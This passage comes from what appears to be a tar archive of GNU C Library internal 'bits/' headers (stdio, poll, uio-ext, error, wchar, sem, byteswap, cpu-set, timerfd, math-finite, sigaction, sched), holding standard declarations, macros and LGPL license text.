(ptr); \ FILE *__stream = (stream); \ size_t __cnt; \ for (__cnt = (size_t) (size) * (size_t) (n); \ __cnt > 0; --__cnt) \ { \ int __c = getc_unlocked (__stream); \ if (__c == EOF) \ break; \ *__ptr++ = __c; \ } \ ((size_t) (size) * (size_t) (n) - __cnt) \ / (size_t) (size); }) \ : (((__builtin_constant_p (size) && (size_t) (size) == 0) \ || (__builtin_constant_p (n) && (size_t) (n) == 0)) \ /* Evaluate all parameters once. */ \ ? ((void) (ptr), (void) (stream), (void) (size), \ (void) (n), (size_t) 0) \ : fread_unlocked (ptr, size, n, stream)))) # define fwrite_unlocked(ptr, size, n, stream) \ (__extension__ ((__builtin_constant_p (size) && __builtin_constant_p (n) \ && (size_t) (size) * (size_t) (n) <= 8 \ && (size_t) (size) != 0) \ ? ({ const char *__ptr = (const char *) (ptr); \ FILE *__stream = (stream); \ size_t __cnt; \ for (__cnt = (size_t) (size) * (size_t) (n); \ __cnt > 0; --__cnt) \ if (putc_unlocked (*__ptr++, __stream) == EOF) \ break; \ ((size_t) (size) * (size_t) (n) - __cnt) \ / (size_t) (size); }) \ : (((__builtin_constant_p (size) && (size_t) (size) == 0) \ || (__builtin_constant_p (n) && (size_t) (n) == 0)) \ /* Evaluate all parameters once. */ \ ? ((void) (ptr), (void) (stream), (void) (size), \ (void) (n), (size_t) 0) \ : fwrite_unlocked (ptr, size, n, stream)))) #endif /* Define helper macro. */ #undef __STDIO_INLINE #endif /* bits/stdio.h. */ bits/poll2.h 0000644 00000004665 15246445046 0006733 0 ustar 00 /* Checking macros for poll functions. Copyright (C) 2012-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_POLL_H # error "Never include <bits/poll2.h> directly; use <sys/poll.h> instead." #endif __BEGIN_DECLS extern int __REDIRECT (__poll_alias, (struct pollfd *__fds, nfds_t __nfds, int __timeout), poll); extern int __poll_chk (struct pollfd *__fds, nfds_t __nfds, int __timeout, __SIZE_TYPE__ __fdslen); extern int __REDIRECT (__poll_chk_warn, (struct pollfd *__fds, nfds_t __nfds, int __timeout, __SIZE_TYPE__ __fdslen), __poll_chk) __warnattr ("poll called with fds buffer too small file nfds entries"); __fortify_function int poll (struct pollfd *__fds, nfds_t __nfds, int __timeout) { return __glibc_fortify (poll, __nfds, sizeof (*__fds), __glibc_objsize (__fds), __fds, __nfds, __timeout); } #ifdef __USE_GNU extern int __REDIRECT (__ppoll_alias, (struct pollfd *__fds, nfds_t __nfds, const struct timespec *__timeout, const __sigset_t *__ss), ppoll); extern int __ppoll_chk (struct pollfd *__fds, nfds_t __nfds, const struct timespec *__timeout, const __sigset_t *__ss, __SIZE_TYPE__ __fdslen); extern int __REDIRECT (__ppoll_chk_warn, (struct pollfd *__fds, nfds_t __nfds, const struct timespec *__timeout, const __sigset_t *__ss, __SIZE_TYPE__ __fdslen), __ppoll_chk) __warnattr ("ppoll called with fds buffer too small file nfds entries"); __fortify_function int ppoll (struct pollfd *__fds, nfds_t __nfds, const struct timespec *__timeout, const __sigset_t *__ss) { return __glibc_fortify (ppoll, __nfds, sizeof (*__fds), __glibc_objsize (__fds), __fds, __nfds, __timeout, __ss); } #endif __END_DECLS bits/mathdef.h 0000644 00000001572 15246445046 0007305 0 ustar 00 /* Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _COMPLEX_H # error "Never use <bits/mathdef.h> directly; include <complex.h> instead" #endif bits/uio-ext.h 0000644 00000003602 15246445046 0007263 0 ustar 00 /* Operating system-specific extensions to sys/uio.h - Linux version. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_UIO_EXT_H #define _BITS_UIO_EXT_H 1 #ifndef _SYS_UIO_H # error "Never include <bits/uio-ext.h> directly; use <sys/uio.h> instead." #endif __BEGIN_DECLS /* Read from another process' address space. */ extern ssize_t process_vm_readv (pid_t __pid, const struct iovec *__lvec, unsigned long int __liovcnt, const struct iovec *__rvec, unsigned long int __riovcnt, unsigned long int __flags) __THROW; /* Write to another process' address space. */ extern ssize_t process_vm_writev (pid_t __pid, const struct iovec *__lvec, unsigned long int __liovcnt, const struct iovec *__rvec, unsigned long int __riovcnt, unsigned long int __flags) __THROW; /* Flags for preadv2/pwritev2. */ #define RWF_HIPRI 0x00000001 /* High priority request. */ #define RWF_DSYNC 0x00000002 /* per-IO O_DSYNC. */ #define RWF_SYNC 0x00000004 /* per-IO O_SYNC. */ #define RWF_NOWAIT 0x00000008 /* per-IO nonblocking mode. */ #define RWF_APPEND 0x00000010 /* per-IO O_APPEND. */ __END_DECLS #endif /* bits/uio-ext.h */ bits/error.h 0000644 00000005173 15246445046 0007027 0 ustar 00 /* Specializations for error functions. Copyright (C) 2007-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _ERROR_H # error "Never include <bits/error.h> directly; use <error.h> instead." #endif extern void __REDIRECT (__error_alias, (int __status, int __errnum, const char *__format, ...), error) __attribute__ ((__format__ (__printf__, 3, 4))); extern void __REDIRECT (__error_noreturn, (int __status, int __errnum, const char *__format, ...), error) __attribute__ ((__noreturn__, __format__ (__printf__, 3, 4))); /* If we know the function will never return make sure the compiler realizes that, too. */ __extern_always_inline void error (int __status, int __errnum, const char *__format, ...) { if (__builtin_constant_p (__status) && __status != 0) __error_noreturn (__status, __errnum, __format, __va_arg_pack ()); else __error_alias (__status, __errnum, __format, __va_arg_pack ()); } extern void __REDIRECT (__error_at_line_alias, (int __status, int __errnum, const char *__fname, unsigned int __line, const char *__format, ...), error_at_line) __attribute__ ((__format__ (__printf__, 5, 6))); extern void __REDIRECT (__error_at_line_noreturn, (int __status, int __errnum, const char *__fname, unsigned int __line, const char *__format, ...), error_at_line) __attribute__ ((__noreturn__, __format__ (__printf__, 5, 6))); /* If we know the function will never return make sure the compiler realizes that, too. */ __extern_always_inline void error_at_line (int __status, int __errnum, const char *__fname, unsigned int __line, const char *__format, ...) { if (__builtin_constant_p (__status) && __status != 0) __error_at_line_noreturn (__status, __errnum, __fname, __line, __format, __va_arg_pack ()); else __error_at_line_alias (__status, __errnum, __fname, __line, __format, __va_arg_pack ()); } bits/wchar.h 0000644 00000003561 15246445046 0007001 0 ustar 00 /* wchar_t type related definitions. Copyright (C) 2000-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_WCHAR_H #define _BITS_WCHAR_H 1 /* The fallback definitions, for when __WCHAR_MAX__ or __WCHAR_MIN__ are not defined, give the right value and type as long as both int and wchar_t are 32-bit types. Adding L'\0' to a constant value ensures that the type is correct; it is necessary to use (L'\0' + 0) rather than just L'\0' so that the type in C++ is the promoted version of wchar_t rather than the distinct wchar_t type itself. Because wchar_t in preprocessor #if expressions is treated as intmax_t or uintmax_t, the expression (L'\0' - 1) would have the wrong value for WCHAR_MAX in such expressions and so cannot be used to define __WCHAR_MAX in the unsigned case. */ #ifdef __WCHAR_MAX__ # define __WCHAR_MAX __WCHAR_MAX__ #elif L'\0' - 1 > 0 # define __WCHAR_MAX (0xffffffffu + L'\0') #else # define __WCHAR_MAX (0x7fffffff + L'\0') #endif #ifdef __WCHAR_MIN__ # define __WCHAR_MIN __WCHAR_MIN__ #elif L'\0' - 1 > 0 # define __WCHAR_MIN (L'\0' + 0) #else # define __WCHAR_MIN (-__WCHAR_MAX - 1) #endif #endif /* bits/wchar.h */ bits/sem.h 0000644 00000005073 15246445046 0006461 0 ustar 00 /* Copyright (C) 2002-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SEM_H # error "Never include <bits/sem.h> directly; use <sys/sem.h> instead." #endif #include <sys/types.h> /* Flags for `semop'. */ #define SEM_UNDO 0x1000 /* undo the operation on exit */ /* Commands for `semctl'. */ #define GETPID 11 /* get sempid */ #define GETVAL 12 /* get semval */ #define GETALL 13 /* get all semval's */ #define GETNCNT 14 /* get semncnt */ #define GETZCNT 15 /* get semzcnt */ #define SETVAL 16 /* set semval */ #define SETALL 17 /* set all semval's */ /* Data structure describing a set of semaphores. */ struct semid_ds { struct ipc_perm sem_perm; /* operation permission struct */ __time_t sem_otime; /* last semop() time */ __syscall_ulong_t __glibc_reserved1; __time_t sem_ctime; /* last time changed by semctl() */ __syscall_ulong_t __glibc_reserved2; __syscall_ulong_t sem_nsems; /* number of semaphores in set */ __syscall_ulong_t __glibc_reserved3; __syscall_ulong_t __glibc_reserved4; }; /* The user should define a union like the following to use it for arguments for `semctl'. union semun { int val; <= value for SETVAL struct semid_ds *buf; <= buffer for IPC_STAT & IPC_SET unsigned short int *array; <= array for GETALL & SETALL struct seminfo *__buf; <= buffer for IPC_INFO }; Previous versions of this file used to define this union but this is incorrect. One can test the macro _SEM_SEMUN_UNDEFINED to see whether one must define the union or not. */ #define _SEM_SEMUN_UNDEFINED 1 #ifdef __USE_MISC /* ipcs ctl cmds */ # define SEM_STAT 18 # define SEM_INFO 19 # define SEM_STAT_ANY 20 struct seminfo { int semmap; int semmni; int semmns; int semmnu; int semmsl; int semopm; int semume; int semusz; int semvmx; int semaem; }; #endif /* __USE_MISC */ bits/byteswap.h 0000644 00000004621 15246445046 0007531 0 ustar 00 /* Macros and inline functions to swap the order of bytes in integer values. Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #if !defined _BYTESWAP_H && !defined _NETINET_IN_H && !defined _ENDIAN_H # error "Never use <bits/byteswap.h> directly; include <byteswap.h> instead." #endif #ifndef _BITS_BYTESWAP_H #define _BITS_BYTESWAP_H 1 #include <features.h> #include <bits/types.h> /* Swap bytes in 16-bit value. */ #define __bswap_constant_16(x) \ ((__uint16_t) ((((x) >> 8) & 0xff) | (((x) & 0xff) << 8))) static __inline __uint16_t __bswap_16 (__uint16_t __bsx) { #if __GNUC_PREREQ (4, 8) return __builtin_bswap16 (__bsx); #else return __bswap_constant_16 (__bsx); #endif } /* Swap bytes in 32-bit value. */ #define __bswap_constant_32(x) \ ((((x) & 0xff000000u) >> 24) | (((x) & 0x00ff0000u) >> 8) \ | (((x) & 0x0000ff00u) << 8) | (((x) & 0x000000ffu) << 24)) static __inline __uint32_t __bswap_32 (__uint32_t __bsx) { #if __GNUC_PREREQ (4, 3) return __builtin_bswap32 (__bsx); #else return __bswap_constant_32 (__bsx); #endif } /* Swap bytes in 64-bit value. */ #define __bswap_constant_64(x) \ ((((x) & 0xff00000000000000ull) >> 56) \ | (((x) & 0x00ff000000000000ull) >> 40) \ | (((x) & 0x0000ff0000000000ull) >> 24) \ | (((x) & 0x000000ff00000000ull) >> 8) \ | (((x) & 0x00000000ff000000ull) << 8) \ | (((x) & 0x0000000000ff0000ull) << 24) \ | (((x) & 0x000000000000ff00ull) << 40) \ | (((x) & 0x00000000000000ffull) << 56)) __extension__ static __inline __uint64_t __bswap_64 (__uint64_t __bsx) { #if __GNUC_PREREQ (4, 3) return __builtin_bswap64 (__bsx); #else return __bswap_constant_64 (__bsx); #endif } #endif /* _BITS_BYTESWAP_H */ bits/cpu-set.h 0000644 00000010643 15246445046 0007254 0 ustar 00 /* Definition of the cpu_set_t structure used by the POSIX 1003.1b-1993 scheduling interface. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_CPU_SET_H #define _BITS_CPU_SET_H 1 #ifndef _SCHED_H # error "Never include <bits/cpu-set.h> directly; use <sched.h> instead." #endif /* Size definition for CPU sets. */ #define __CPU_SETSIZE 1024 #define __NCPUBITS (8 * sizeof (__cpu_mask)) /* Type for array elements in 'cpu_set_t'. */ typedef __CPU_MASK_TYPE __cpu_mask; /* Basic access functions. */ #define __CPUELT(cpu) ((cpu) / __NCPUBITS) #define __CPUMASK(cpu) ((__cpu_mask) 1 << ((cpu) % __NCPUBITS)) /* Data structure to describe CPU mask. */ typedef struct { __cpu_mask __bits[__CPU_SETSIZE / __NCPUBITS]; } cpu_set_t; /* Access functions for CPU masks. */ #if __GNUC_PREREQ (2, 91) # define __CPU_ZERO_S(setsize, cpusetp) \ do __builtin_memset (cpusetp, '\0', setsize); while (0) #else # define __CPU_ZERO_S(setsize, cpusetp) \ do { \ size_t __i; \ size_t __imax = (setsize) / sizeof (__cpu_mask); \ __cpu_mask *__bits = (cpusetp)->__bits; \ for (__i = 0; __i < __imax; ++__i) \ __bits[__i] = 0; \ } while (0) #endif #define __CPU_SET_S(cpu, setsize, cpusetp) \ (__extension__ \ ({ size_t __cpu = (cpu); \ __cpu / 8 < (setsize) \ ? (((__cpu_mask *) ((cpusetp)->__bits))[__CPUELT (__cpu)] \ |= __CPUMASK (__cpu)) \ : 0; })) #define __CPU_CLR_S(cpu, setsize, cpusetp) \ (__extension__ \ ({ size_t __cpu = (cpu); \ __cpu / 8 < (setsize) \ ? (((__cpu_mask *) ((cpusetp)->__bits))[__CPUELT (__cpu)] \ &= ~__CPUMASK (__cpu)) \ : 0; })) #define __CPU_ISSET_S(cpu, setsize, cpusetp) \ (__extension__ \ ({ size_t __cpu = (cpu); \ __cpu / 8 < (setsize) \ ? ((((const __cpu_mask *) ((cpusetp)->__bits))[__CPUELT (__cpu)] \ & __CPUMASK (__cpu))) != 0 \ : 0; })) #define __CPU_COUNT_S(setsize, cpusetp) \ __sched_cpucount (setsize, cpusetp) #if __GNUC_PREREQ (2, 91) # define __CPU_EQUAL_S(setsize, cpusetp1, cpusetp2) \ (__builtin_memcmp (cpusetp1, cpusetp2, setsize) == 0) #else # define __CPU_EQUAL_S(setsize, cpusetp1, cpusetp2) \ (__extension__ \ ({ const __cpu_mask *__arr1 = (cpusetp1)->__bits; \ const __cpu_mask *__arr2 = (cpusetp2)->__bits; \ size_t __imax = (setsize) / sizeof (__cpu_mask); \ size_t __i; \ for (__i = 0; __i < __imax; ++__i) \ if (__arr1[__i] != __arr2[__i]) \ break; \ __i == __imax; })) #endif #define __CPU_OP_S(setsize, destset, srcset1, srcset2, op) \ (__extension__ \ ({ cpu_set_t *__dest = (destset); \ const __cpu_mask *__arr1 = (srcset1)->__bits; \ const __cpu_mask *__arr2 = (srcset2)->__bits; \ size_t __imax = (setsize) / sizeof (__cpu_mask); \ size_t __i; \ for (__i = 0; __i < __imax; ++__i) \ ((__cpu_mask *) __dest->__bits)[__i] = __arr1[__i] op __arr2[__i]; \ __dest; })) #define __CPU_ALLOC_SIZE(count) \ ((((count) + __NCPUBITS - 1) / __NCPUBITS) * sizeof (__cpu_mask)) #define __CPU_ALLOC(count) __sched_cpualloc (count) #define __CPU_FREE(cpuset) __sched_cpufree (cpuset) __BEGIN_DECLS extern int __sched_cpucount (size_t __setsize, const cpu_set_t *__setp) __THROW; extern cpu_set_t *__sched_cpualloc (size_t __count) __THROW __wur; extern void __sched_cpufree (cpu_set_t *__set) __THROW; __END_DECLS #endif /* bits/cpu-set.h */ bits/timerfd.h 0000644 00000002116 15246445046 0007322 0 ustar 00 /* Copyright (C) 2008-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_TIMERFD_H # error "Never use <bits/timerfd.h> directly; include <sys/timerfd.h> instead." #endif /* Bits to be set in the FLAGS parameter of `timerfd_create'. */ enum { TFD_CLOEXEC = 02000000, #define TFD_CLOEXEC TFD_CLOEXEC TFD_NONBLOCK = 00004000 #define TFD_NONBLOCK TFD_NONBLOCK }; bits/math-finite.h 0000644 00000012376 15246445046 0010106 0 ustar 00 /* Entry points to finite-math-only compiler runs. Copyright (C) 2011-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _MATH_H # error "Never use <bits/math-finite.h> directly; include <math.h> instead." #endif #define __REDIRFROM(...) __REDIRFROM_X(__VA_ARGS__) #define __REDIRTO(...) __REDIRTO_X(__VA_ARGS__) #define __MATH_REDIRCALL_X(from, args, to) \ extern _Mdouble_ __REDIRECT_NTH (from, args, to) #define __MATH_REDIRCALL(function, reentrant, args) \ __MATH_REDIRCALL_X \ (__REDIRFROM (function, reentrant), args, \ __REDIRTO (function, reentrant)) #define __MATH_REDIRCALL_2(from, reentrant, args, to) \ __MATH_REDIRCALL_X \ (__REDIRFROM (from, reentrant), args, \ __REDIRTO (to, reentrant)) #define __MATH_REDIRCALL_INTERNAL(function, reentrant, args) \ __MATH_REDIRCALL_X \ (__REDIRFROM (__CONCAT (__, function), \ __CONCAT (reentrant, _finite)), \ args, __REDIRTO (function, _r)) /* acos. */ __MATH_REDIRCALL (acos, , (_Mdouble_)); #if defined __USE_XOPEN_EXTENDED || defined __USE_ISOC99 /* acosh. */ __MATH_REDIRCALL (acosh, , (_Mdouble_)); #endif /* asin. */ __MATH_REDIRCALL (asin, , (_Mdouble_)); /* atan2. */ __MATH_REDIRCALL (atan2, , (_Mdouble_, _Mdouble_)); #if defined __USE_XOPEN_EXTENDED || defined __USE_ISOC99 /* atanh. */ __MATH_REDIRCALL (atanh, , (_Mdouble_)); #endif /* cosh. */ __MATH_REDIRCALL (cosh, , (_Mdouble_)); /* exp. */ __MATH_REDIRCALL (exp, , (_Mdouble_)); #if __GLIBC_USE (IEC_60559_FUNCS_EXT) /* exp10. */ __MATH_REDIRCALL (exp10, , (_Mdouble_)); #endif #ifdef __USE_ISOC99 /* exp2. */ __MATH_REDIRCALL (exp2, , (_Mdouble_)); #endif /* fmod. */ __MATH_REDIRCALL (fmod, , (_Mdouble_, _Mdouble_)); #if defined __USE_XOPEN || defined __USE_ISOC99 /* hypot. */ __MATH_REDIRCALL (hypot, , (_Mdouble_, _Mdouble_)); #endif #if (__MATH_DECLARING_DOUBLE && (defined __USE_MISC || defined __USE_XOPEN)) \ || (!__MATH_DECLARING_DOUBLE && defined __USE_MISC) /* j0. */ __MATH_REDIRCALL (j0, , (_Mdouble_)); /* y0. */ __MATH_REDIRCALL (y0, , (_Mdouble_)); /* j1. */ __MATH_REDIRCALL (j1, , (_Mdouble_)); /* y1. */ __MATH_REDIRCALL (y1, , (_Mdouble_)); /* jn. */ __MATH_REDIRCALL (jn, , (int, _Mdouble_)); /* yn. */ __MATH_REDIRCALL (yn, , (int, _Mdouble_)); #endif #ifdef __USE_MISC /* lgamma_r. */ __MATH_REDIRCALL (lgamma, _r, (_Mdouble_, int *)); #endif /* Redirect __lgammal_r_finite to __lgamma_r_finite when __NO_LONG_DOUBLE_MATH is set and to itself otherwise. It also redirects __lgamma_r_finite and __lgammaf_r_finite to themselves. */ __MATH_REDIRCALL_INTERNAL (lgamma, _r, (_Mdouble_, int *)); #if ((defined __USE_XOPEN || defined __USE_ISOC99) \ && defined __extern_always_inline) /* lgamma. */ __extern_always_inline _Mdouble_ __NTH (__REDIRFROM (lgamma, ) (_Mdouble_ __d)) { # if defined __USE_MISC || defined __USE_XOPEN return __REDIRTO (lgamma, _r) (__d, &signgam); # else int __local_signgam = 0; return __REDIRTO (lgamma, _r) (__d, &__local_signgam); # endif } #endif #if ((defined __USE_MISC || (defined __USE_XOPEN && !defined __USE_XOPEN2K)) \ && defined __extern_always_inline) && !__MATH_DECLARING_FLOATN /* gamma. */ __extern_always_inline _Mdouble_ __NTH (__REDIRFROM (gamma, ) (_Mdouble_ __d)) { return __REDIRTO (lgamma, _r) (__d, &signgam); } #endif /* log. */ __MATH_REDIRCALL (log, , (_Mdouble_)); /* log10. */ __MATH_REDIRCALL (log10, , (_Mdouble_)); #ifdef __USE_ISOC99 /* log2. */ __MATH_REDIRCALL (log2, , (_Mdouble_)); #endif /* pow. */ __MATH_REDIRCALL (pow, , (_Mdouble_, _Mdouble_)); #if defined __USE_XOPEN_EXTENDED || defined __USE_ISOC99 /* remainder. */ __MATH_REDIRCALL (remainder, , (_Mdouble_, _Mdouble_)); #endif #if ((__MATH_DECLARING_DOUBLE \ && (defined __USE_MISC \ || (defined __USE_XOPEN_EXTENDED && !defined __USE_XOPEN2K8))) \ || (!defined __MATH_DECLARE_LDOUBLE && defined __USE_MISC)) \ && !__MATH_DECLARING_FLOATN /* scalb. */ __MATH_REDIRCALL (scalb, , (_Mdouble_, _Mdouble_)); #endif /* sinh. */ __MATH_REDIRCALL (sinh, , (_Mdouble_)); /* sqrt. */ __MATH_REDIRCALL (sqrt, , (_Mdouble_)); #if defined __USE_ISOC99 && defined __extern_always_inline /* tgamma. */ extern _Mdouble_ __REDIRFROM (__gamma, _r_finite) (_Mdouble_, int *); __extern_always_inline _Mdouble_ __NTH (__REDIRFROM (tgamma, ) (_Mdouble_ __d)) { int __local_signgam = 0; _Mdouble_ __res = __REDIRTO (gamma, _r) (__d, &__local_signgam); return __local_signgam < 0 ? -__res : __res; } #endif #undef __REDIRFROM #undef __REDIRTO #undef __MATH_REDIRCALL #undef __MATH_REDIRCALL_2 #undef __MATH_REDIRCALL_INTERNAL #undef __MATH_REDIRCALL_X bits/sigaction.h 0000644 00000005566 15246445046 0007664 0 ustar 00 /* The proper definitions for Linux's sigaction. Copyright (C) 1993-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_SIGACTION_H #define _BITS_SIGACTION_H 1 #ifndef _SIGNAL_H # error "Never include <bits/sigaction.h> directly; use <signal.h> instead." #endif /* Structure describing the action to be taken when a signal arrives. */ struct sigaction { /* Signal handler. */ #if defined __USE_POSIX199309 || defined __USE_XOPEN_EXTENDED union { /* Used if SA_SIGINFO is not set. */ __sighandler_t sa_handler; /* Used if SA_SIGINFO is set. */ void (*sa_sigaction) (int, siginfo_t *, void *); } __sigaction_handler; # define sa_handler __sigaction_handler.sa_handler # define sa_sigaction __sigaction_handler.sa_sigaction #else __sighandler_t sa_handler; #endif /* Additional set of signals to be blocked. */ __sigset_t sa_mask; /* Special flags. */ int sa_flags; /* Restore handler. */ void (*sa_restorer) (void); }; /* Bits in `sa_flags'. */ #define SA_NOCLDSTOP 1 /* Don't send SIGCHLD when children stop. */ #define SA_NOCLDWAIT 2 /* Don't create zombie on child death. */ #define SA_SIGINFO 4 /* Invoke signal-catching function with three arguments instead of one. */ #if defined __USE_XOPEN_EXTENDED || defined __USE_MISC # define SA_ONSTACK 0x08000000 /* Use signal stack by using `sa_restorer'. */ #endif #if defined __USE_XOPEN_EXTENDED || defined __USE_XOPEN2K8 # define SA_RESTART 0x10000000 /* Restart syscall on signal return. */ # define SA_NODEFER 0x40000000 /* Don't automatically block the signal when its handler is being executed. */ # define SA_RESETHAND 0x80000000 /* Reset to SIG_DFL on entry to handler. */ #endif #ifdef __USE_MISC # define SA_INTERRUPT 0x20000000 /* Historical no-op. */ /* Some aliases for the SA_ constants. */ # define SA_NOMASK SA_NODEFER # define SA_ONESHOT SA_RESETHAND # define SA_STACK SA_ONSTACK #endif /* Values for the HOW argument to `sigprocmask'. */ #define SIG_BLOCK 0 /* Block signals. */ #define SIG_UNBLOCK 1 /* Unblock signals. */ #define SIG_SETMASK 2 /* Set the set of blocked signals. */ #endif bits/sched.h 0000644 00000007243 15246445046 0006764 0 ustar 00 /* Definitions of constants and data structure for POSIX 1003.1b-1993 scheduling interface. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_SCHED_H #define _BITS_SCHED_H 1 #ifndef _SCHED_H # error "Never include <bits/sched.h> directly; use <sched.h> instead." #endif /* Scheduling algorithms. */ #define SCHED_OTHER 0 #define SCHED_FIFO 1 #define SCHED_RR 2 #ifdef __USE_GNU # define SCHED_BATCH 3 # define SCHED_ISO 4 # define SCHED_IDLE 5 # define SCHED_DEADLINE 6 # define SCHED_RESET_ON_FORK 0x40000000 #endif #ifdef __USE_GNU /* Cloning flags. */ # define CSIGNAL 0x000000ff /* Signal mask to be sent at exit. */ # define CLONE_VM 0x00000100 /* Set if VM shared between processes. */ # define CLONE_FS 0x00000200 /* Set if fs info shared between processes. */ # define CLONE_FILES 0x00000400 /* Set if open files shared between processes. */ # define CLONE_SIGHAND 0x00000800 /* Set if signal handlers shared. */ # define CLONE_PTRACE 0x00002000 /* Set if tracing continues on the child. */ # define CLONE_VFORK 0x00004000 /* Set if the parent wants the child to wake it up on mm_release. */ # define CLONE_PARENT 0x00008000 /* Set if we want to have the same parent as the cloner. */ # define CLONE_THREAD 0x00010000 /* Set to add to same thread group. */ # define CLONE_NEWNS 0x00020000 /* Set to create new namespace. */ # define CLONE_SYSVSEM 0x00040000 /* Set to shared SVID SEM_UNDO semantics. */ # define CLONE_SETTLS 0x00080000 /* Set TLS info. */ # define CLONE_PARENT_SETTID 0x00100000 /* Store 